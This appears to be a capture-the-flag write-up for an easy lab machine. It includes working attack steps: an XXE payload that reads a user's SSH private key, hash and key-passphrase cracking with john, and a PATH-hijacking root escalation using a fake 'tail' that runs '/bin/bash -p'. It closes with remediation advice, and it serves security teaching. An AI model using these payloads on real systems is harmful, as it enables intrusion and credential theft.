Level: Easy
Date: May 04, 2026
Target IP: 10.114.175.212
Easy boot2root machine with 2 flags.
- User flag
- Root flag
Initial nmap scan:
nmap -sCV $IP

Open ports:
It's a webpage designed for mustache-inspiration.

There wasn't much of interest found on the webpage so I ran Gobuster to see if there are any directories associated with the page.
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,py,txt,js
Gobuster output:

Most of them are found on the webpage but a few of them are new:


The css/ folder doesn't have anything interesting, but js/ on the other hand.

Users seems interesting, let's curl it to see if I'm right.
curl http://10.114.175.212/custom/js/users.bak --output users.txt
Admin and some kind of hash.

Using crackstation to crack the hash.

Or if you prefer john.

I tried connecting via ssh but with no luck (sadly forgot to take a picture of that). So I did some further enumeration and found a new HTTP port.
Extended nmap scan:
nmap -sV -p 1-10000 10.114.175.212

New open ports found:
Credentials used to log in from earlier, user=admin & password=bulldog19

The admin panel has comments for the webpage. And the source code tells me there is another user "Barry" that can SSH. From the nmap scan I am assuming there is a RSA-key somewhere.


And there is more interesting stuff in the page source.

/auth/dontforget.bak
Let's curl that too and see what we get
curl http://10.114.175.212:8765/auth/dontforget.bak > dontforget.txt
Nothing of interest, just a bunch of text saying I'm wasting my time.

Although the function hints that I should insert XML code. Also called XXE (XML External Entity Injection).
Allows for reading local files via the file:// protocol, similar in impact to LFI but triggered through XML parsing instead.
Inserting this into the comment field on the front page.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa">]>
<root>
<name>&xxe;</name>
<author>test</author>
<comment>test</comment>
</root>
And there we have the RSA key for Barry.

Had some trouble to get the key in the right format so I used a script for it in python.
with open('id_rsa_raw.txt') as f:
raw = f.read().strip()
raw = raw.replace('-----BEGIN RSA PRIVATE KEY-----', '')
raw = raw.replace('-----END RSA PRIVATE KEY-----', '')
raw = raw.strip()
dek_start = raw.index('DEK-Info:')
dek_end = raw.index(' ', dek_start + 50) # after the DEK value
headers = raw[:dek_end].strip()
body = raw[dek_end:].strip().replace(' ', '')
body_wrapped = '\n'.join([body[i:i+64] for i in range(0, len(body), 64)])
result = '-----BEGIN RSA PRIVATE KEY-----\n'
result += headers.replace(' Proc-Type', '\nProc-Type').replace(' DEK-Info', '\nDEK-Info')
result += '\n\n' + body_wrapped
result += '\n-----END RSA PRIVATE KEY-----\n'
with open('id_rsa', 'w') as f:
f.write(result)
print(result[:200])
Once done, use:
chmod 600 id_rsa
And then:
ssh -i id_rsa barry@$IP
The key is password-protected, john can fix that.


Here we have the first flag

Poking around, we find Joe's directory with a SUID bit owned by root.

strings live_log
This can be used to escalate to root. This is vulnerable for PATH hijacking.

Create a fake tail (the "-p" is extremely important, otherwise you drop the privileges)
echo '/bin/bash -p' > /tmp/tail
chmod +x /tmp/tail
Manipulate PATH
export PATH=/tmp:$PATH
Run the file
./live_log

And there is the second flag.

/custom/js/users.bak containing admin credentialsbulldog198765ssh2john + john to crack the key passphraselive_log vulnerable to PATH hijacking via unqualified tail calltail script in /tmp1. Sensitive File Exposure
/custom/js/users.bak → admin credentials exposed
2. XXE Injection
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa">]>
3. Information Disclosure
<!-- Barry, you can now SSH in using your key!-->
document.cookie = "Example=/auth/dontforget.bak";
4. SUID Binary with PATH Hijacking
strings live_log → tail -f /var/log/nginx/access.log
tail without absolute path1. File Exposure
.htaccess rules or move sensitive files outside webroot2. XXE Prevention
# Disable external entities in XML parser
parser = etree.XMLParser(resolve_entities=False)
3. Source Code & Comments
4. SUID Binaries
# Bad
tail -f /var/log/nginx/access.log
# Good
/usr/bin/tail -f /var/log/nginx/access.log
find / -perm -4000 2>/dev/null-p- is essential.bak, .old, .txt extensions in web directories often contain sensitive datastrings on a SUID binary can instantly reveal PATH hijacking opportunitiesA classic boot2root. Gobuster revealed a .bak file exposing an admin SHA1 hash, cracked to bulldog19. A full port scan uncovered an admin panel on port 8765 with an XXE-vulnerable comment field — exploited to leak Barry's encrypted SSH private key. After cracking the passphrase with john, a SUID binary (live_log) calling tail without an absolute path was abused for PATH hijacking to spawn a root shell.